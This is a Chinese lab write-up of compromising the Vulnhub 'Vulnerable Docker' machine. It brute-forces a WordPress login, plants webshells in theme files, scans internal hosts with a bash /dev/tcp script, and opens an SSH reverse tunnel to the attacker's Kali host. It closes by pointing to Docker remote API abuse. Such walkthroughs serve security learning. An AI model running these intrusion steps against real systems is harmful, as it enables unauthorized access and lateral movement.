本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载好加载到VMware里面去,我这里配置的网卡模式是仅主机模式,然后不知道是什么IP地址,我就使用Windows环境下的MAC地址扫描器扫描了一下发现了真是的IP地址,这里也是可以使用kali下netdiscover进行发现,当然也可以直接使用nmap进行全网段扫描,nmap -sn -v 192.168.5.*

地址:​​https://www.vulnhub.com/entry/vulnerable-docker-1,208/​​​

发现目标靶机IP地址

Vulnhub-靶机-Vulnerable Docker: 1_docker

 全端口扫描目标开放的端口

Vulnhub-靶机-Vulnerable Docker: 1_docker_02

 发现开放8000端口看版本信息是WordPress,逐尝试使用wpscan扫描看看有没有漏洞

Vulnhub-靶机-Vulnerable Docker: 1_docker_03

Vulnhub-靶机-Vulnerable Docker: 1_github_04

 根据上述结果,可获知目标靶机的管理员后台地址http://192.168.5.134:8000/wp-admin/ 和用户名为bob等信息,没有发现其他可利用的漏洞,尝试进行暴力破解,针对WordPress的暴力破解有一个专门的工具​​https://github.com/n00py/WPForce​

下载下来直接使用Python2.7即可执行,具体如下:

git clone https://github.com/n00py/WPForce

新建一个文件bmfx.txt里面添加用户名bob,然后下载字典 

curl -O -fsSL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/xato-net-10-m
illion-passwords-10000.txt

字典包:​​https://github.com/danielmiessler/SecLists​

一把梭,开始破解bob账户的密码

Vulnhub-靶机-Vulnerable Docker: 1_github_05

获得目标靶机的web应用用户名:bob密码:Welcome1

因为是web应用,所以这里也是可以使用burpsuite进行暴力破解

Vulnhub-靶机-Vulnerable Docker: 1_docker_06

Vulnhub-靶机-Vulnerable Docker: 1_github_07

 Vulnhub-靶机-Vulnerable Docker: 1_docker_08

Vulnhub-靶机-Vulnerable Docker: 1_docker_09

Vulnhub-靶机-Vulnerable Docker: 1_github_10

 成功获得了账户名和密码之后开始登陆目标web

Vulnhub-靶机-Vulnerable Docker: 1_docker_11

 费了一些时间,最后通过编辑主题的方法成功拿到shell,这里推荐一篇关于WordPress拿shell的方法:​​https://cloud.tencent.com/developer/news/378799​

拿到shell如下:

Vulnhub-靶机-Vulnerable Docker: 1_github_12

 连接的客户端是中国蚁剑,地址:​​https://doc.u0u.us/zh-hans/getting_started/get_antsword.html​

 这里也使用了webshell,​​https://github.com/p0rietea/p0wny-shell​

对应shell地址:

​http://192.168.5.134:8000/wp-content/themes/twentyseventeen/inc/back-compat.php​​http://192.168.5.134:8000/wp-content/themes/twentyseventeen/inc/color-patterns.php

Vulnhub-靶机-Vulnerable Docker: 1_github_13

 使用脚本探测存活的4个主机开放的端口

#!/bin/bash

hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)

END=65535
for host in "${hosts[@]}"
do
echo "========================================"
echo "Scanning $host"
echo "========================================"
for ((port = 1; port <= END; port++))
do
echo "" > /dev/tcp/$host/$port && echo "port $port is open"
done 2>/dev/null
done

Vulnhub-靶机-Vulnerable Docker: 1_github_14

 Vulnhub-靶机-Vulnerable Docker: 1_github_15

 发现172.18.0.3 上有8022端口,使用curl -s 172.18.0.3:8022查看发现如下信息:

Vulnhub-靶机-Vulnerable Docker: 1_github_16

 那么这个时候需要做端口转发打通隧道进行通信,下载openssh.deb文件,利用这个文件的里面的ssh和ssh-keygen命令生成秘钥跟kali打通隧道,然后通过web浏览器访问,下载地址:http://http.us.debian.org/debian/pool/main/o/openssh/openssh-client_6.7p1-5+deb8u4_amd64.deb

这里发现一个小坑,这个软件包下载到目标靶机上不能正常执行dpkg -x openssh.deb 这个作用是解压这包然后利用里面的命令工具,于是尝试使用本地解压然后打包成tar.gz的格式再重新下载到目标靶机上。

解压之后执行如下命令:

cd usr/bin

chmod +x ssh*

./ssh-keygen -P '' -f id_rsa -t rsa

cat id_rsa.pub

将生成的公钥复制到本地的kali下面

Vulnhub-靶机-Vulnerable Docker: 1_github_17

Vulnhub-靶机-Vulnerable Docker: 1_docker_18

 Vulnhub-靶机-Vulnerable Docker: 1_github_19

 此时都准备好了,那么就可以在目标靶机上执行打通隧道的命令

./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownhostsFile=/dev/null -v -i id_rsa -R 8022:172.18.0.3:8022 -fN kali@192.168.5.129

Vulnhub-靶机-Vulnerable Docker: 1_github_20

 在kali环境下访问8022端口

Vulnhub-靶机-Vulnerable Docker: 1_docker_21

 后面就是利用remote API未授权访问的漏洞了,漏洞相关信息:​​https://www.secpulse.com/archives/55928.html​

这里的靶机需要联网装docker环境,我这里配置的是仅主机模式不能访问公网,所以后面的我就演示操作了

安装的docker命令如下:

curl -fsSL get.docker.com -o get-docker.sh
sh get-docker.sh
docker ps

 参考:​​https://gist.github.com/ejholmes/d4a046ba376f5d277b8a981b4a7db03e​​ 

Vulnhub-靶机-Vulnerable Docker: 1_docker_22

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!